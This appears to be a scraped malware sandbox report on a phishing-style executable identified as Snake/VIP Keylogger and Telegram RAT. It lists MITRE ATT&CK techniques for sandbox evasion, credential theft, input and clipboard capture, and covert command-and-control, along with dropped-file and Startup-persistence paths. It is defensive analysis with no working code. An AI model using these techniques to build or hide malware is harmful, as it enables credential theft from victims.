Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report New Order PO#86637.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\disturb

C:\Users\user\AppData\Local\directory\name.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
New Order PO#86637.exe

Function 0040D590 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144
windowCOMMON

Function 0040E500 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 157
COMMON

Function 00401F20 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 214
COMMON

Function 00452719 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 147
COMMON

Function 0040E360 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 151
COMMON

Function 004528BD Relevance: 19.7, APIs: 13, Instructions: 173
COMMON

Function 00410490 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 56
windowregistryCOMMON

Function 00410390 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 76
windowregistryCOMMON

Function 0040F5C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 125
COMMON

Function 00401100 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136
windowtimeregistryCOMMON

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre